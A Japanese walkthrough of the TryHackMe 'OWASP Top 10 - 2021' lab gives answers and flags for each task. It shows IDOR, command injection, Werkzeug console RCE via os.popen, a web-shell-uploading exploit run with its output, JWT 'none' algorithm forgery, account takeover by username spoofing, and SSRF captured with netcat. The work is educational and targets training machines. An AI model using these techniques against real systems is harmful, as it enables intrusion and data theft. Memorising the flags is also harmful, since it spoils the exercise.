概要
TryHackMe「OWASP Top 10 - 2021」のWalkthroughです。
Task4
Q2.Deploy the machine and go to http://MACHINE_IP - Login with the username noot and the password test1234.
ターゲットマシンを起動し、Webサイトにアクセスするとログインフォームが表示されます。
Username: noot
,Password: test1234
でログインします。
Q3.Look at other users' notes. What is the flag?
Hint.The URL contains ?note_id=1 - I wonder what happens if you change the parameter value? You might be able to access another user's notes.
note_id=1
のようにnote_id
パラメータで指定された番号のノートが表示されるようです。
note_id=0
を指定すると別のノートデータを取得でき、フラグを入手しました。
A.flag{fivefourthree}
Task8
Q1.What is the name of the mentioned directory?
Hint.Have a look at the source code on the /login page.
81
番ポートにアクセスします。
/login.php
のソースコードから/assets
パスを発見しました。
A./assets
Q2.Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?
/assets
へアクセスするとwebapp.db
を発見しました。
A.webapp.db
Q3.Use the supporting material to access the sensitive data. What is the password hash of the admin user?
webapp.db
をダウンロードし、データを確認するとアカウント名とパスワードハッシュ値を発見しました。
A.6eea9b7ef19179a06954edd0f6c05ceb
Q4.What is the admin's plaintext password?
Hint.Read the supporting material.
下記サイトを利用してハッシュ値を解析します。
admin
のパスワードハッシュ解析に成功し、パスワードの平文が分かりました。
A.qwertyuiop
Q5.Log in as the admin. What is the flag?
/login.php
からUsername: admin
,Password: qwertyuiop
でログインするとフラグを入手できました。
A.THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}
Task10
Q1.What strange text file is in the website's root directory?
82
番ポートにアクセスします。
$()
でコマンドインジェクションに成功しました。
$(ls)
でファイル構成を確認できました。
A.drpepper.txt
Q2.How many non-root/non-service/non-daemon users are there?
/etc/passwd
を確認します。
A.0
Q3.What user is this app running as?
whoami
コマンドで確認します。
A.apache
Q4.What is the user's shell set as?
/etc/passwd
から確認します。
A./sbin/nologin
Q5.What version of Alpine Linux is running?
Hint.The version can be found in "/etc/alpine-release".
/etc/alpine-release
から確認します。
A.3.16.0
Task11
Q2.What is the value of the flag in joseph's account?
Hint.Is there any security question that can be easily guessed?
85
番ポートにアクセスします。
joseph
のパスワードが分からないので/resetpass1.php
からパスワード変更を試みます。
秘密の質問が3つありますが、favorite color
から推測するのが簡単そうです。
最終的にgreen
を入力すると新しいパスワードが発行されたのでメモしておきます。
新しいパスワードでログインに成功しました。
テキストファイルからフラグを入手できました。
A.THM{Not_3ven_c4tz_c0uld_sav3_U!}
Task12
Q1.Navigate to http://TARGET_IP:86/console to access the Werkzeug console.
/console
にアクセスするとWerkzeugのコンソールが表示されました。
Q2.What is the database file name (the one with the .db extension) in the current directory?
os
モジュールを利用してコンソールからRCEが成功しました。
import os; print(os.popen("ls -l").read())
A.todo.db
Q3.Modify the code to read the contents of the app.py file, which contains the application's source code. What is the value of the secret_flag variable in the source code?
Hint.The flag looks like THM{...}. Be sure to write it without the surrounding quotes!
app.py
のコードを確認します。
import os; print(os.popen("cat app.py").read())
A.THM{Just_a_tiny_misconfiguration}
Task15
Q1.What is the content of the /opt/flag.txt file?
Hint.You know it's a bookstore application. You should check for recent unauthenticated bookstore apps RCEs.
84
番ポートにアクセスします。
フッター情報からprojectworlds
が分かったのでエクスプロイトを検索するとUnauthenticated
のRCEが見つかりました。
エクスプロイトコードを実行するとシェルの獲得に成功しました。
$ python exploit.py http://10.10.49.239:84
> Attempting to upload PHP web shell...
> Verifying shell upload...
> Web shell uploaded to http://10.10.49.239:84/bootstrap/img/vNbVWnLMHO.php
> Example command usage: http://10.10.49.239:84/bootstrap/img/vNbVWnLMHO.php?cmd=whoami
> Do you wish to launch a shell here? (y/n): y
RCE $ whoami
apache
/opt/flag.txt
からフラグを入手できました。
$ cat /opt/flag.txt
THM{But_1ts_n0t_my_f4ult!}
A.THM{But_1ts_n0t_my_f4ult!}
Task17
Q1.What is the flag that you found in darren's account?
8088
ポートにアクセスします。
アカウント作成ページでユーザー名darren
アカウントの作成を試みると既に作成されたアカウントだと分かります。
再度、アカウント作成ページからdarren
(先頭に空白を入れる)アカウントを作成し、ログインすると既存のdarren
アカウントにログイン出来ました。
A.fe86079416a21a3c99937fea8874b667
Q3.What is the flag that you found in arthur's account?
同様の手法でarthur
アカウントへのログインにも成功しました。
A.d9ac0f7db4fda460ac3edeb75d75e16e
Task19
Q1.What is the SHA-256 hash of hxxps://code.jquery.com/jquery-1.12.4.min.js?
Hint.Remember you can use hxxps://www.srihash.org/ to calculate integrity hashes for SRI.
下記サイトでSHA256ハッシュ値を生成します。
A.sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=
Task20
Q1.Try logging into the application as guest. What is guest's account password?
Hint.Try logging in with the wrong credentials.
8089
番ポートにアクセスします。
Username: guest
,Password: guest
でログインに成功しました。
A.guest
Q2.What is the name of the website's cookie containing a JWT token?
デベロッパーツールからJWTを確認できます。
A.jwt-session
Q4.What is the flag presented to the admin user?
JWTの解析には下記サイトを利用しました。
アルゴリズムをnone
に、username
をadmin
に編集し、値をデベロッパーツールでcookieに入れるとadminページが表示され、フラグを入手できました。
A.THM{Dont_take_cookies_from_strangers}
Task21
Q1.What IP address is the attacker using?
Hint.Check for common actions in a short sequence of time.
管理者アカウントでの認証を試みて、失敗しているログが怪しいです。
$ cat login-logs_1595366583422.txt
200 OK 12.55.22.88 jr22 2019-03-18T09:21:17 /login
200 OK 14.56.23.11 rand99 2019-03-18T10:19:22 /login
200 OK 17.33.10.38 afer11 2019-03-18T11:11:44 /login
200 OK 99.12.44.20 rad4 2019-03-18T11:55:51 /login
200 OK 67.34.22.10 bff1 2019-03-18T13:08:59 /login
200 OK 34.55.11.14 hax0r 2019-03-21T16:08:15 /login
401 Unauthorised 49.99.13.16 admin 2019-03-21T21:08:15 /login
401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
401 Unauthorised 49.99.13.16 anonymous 2019-03-21T21:08:25 /login
401 Unauthorised 49.99.13.16 root 2019-03-21T21:08:30 /login
A.49.99.13.16
Q2.What kind of attack is being carried out?
Hint.What do you call trying combinations of usernames and passwords to gain access to users' accounts?
A.Brute Force
Task22
Q1.Explore the website. What is the only host allowed to access the admin area?
Hint.Try to access the admin area. Can you find any useful info in the error messages?
8087
番ポートにアクセスします。
ディレクトリスキャンをします。
$ dirsearch -u http://10.10.48.207:8087/
[13:03:15] 200 - 48B - /admin
[13:04:10] 200 - 2KB - /console
[13:04:21] 200 - 20B - /download
/admin
にアクセスすると、localhost
からのみアクセス可能なようです。
A.localhost
Q2.Check the "Download Resume" button. Where does the server parameter point to?
インデックスページのDownload Resume
からPDFファイルをダウンロードできるようです。
secure-file-storage.com:8087
を通信先に指定しています。
A.secure-file-storage.com
Q3.Using SSRF, make the application send the request to your AttackBox instead of the secure file storage. Are there any API keys in the intercepted request?
Netcatでリッスンします。
$ nc -lvnp 1234
listening on [any] 1234 ...
通信先のサーバーを自身のマシンに指定します。
フラグを入手できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.48.207] 47524
GET /public-docs-k057230990384293/75482342.pdf HTTP/1.1
Host: 10.6.55.144:1234
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}
A.THM{Hello_Im_just_an_API_key}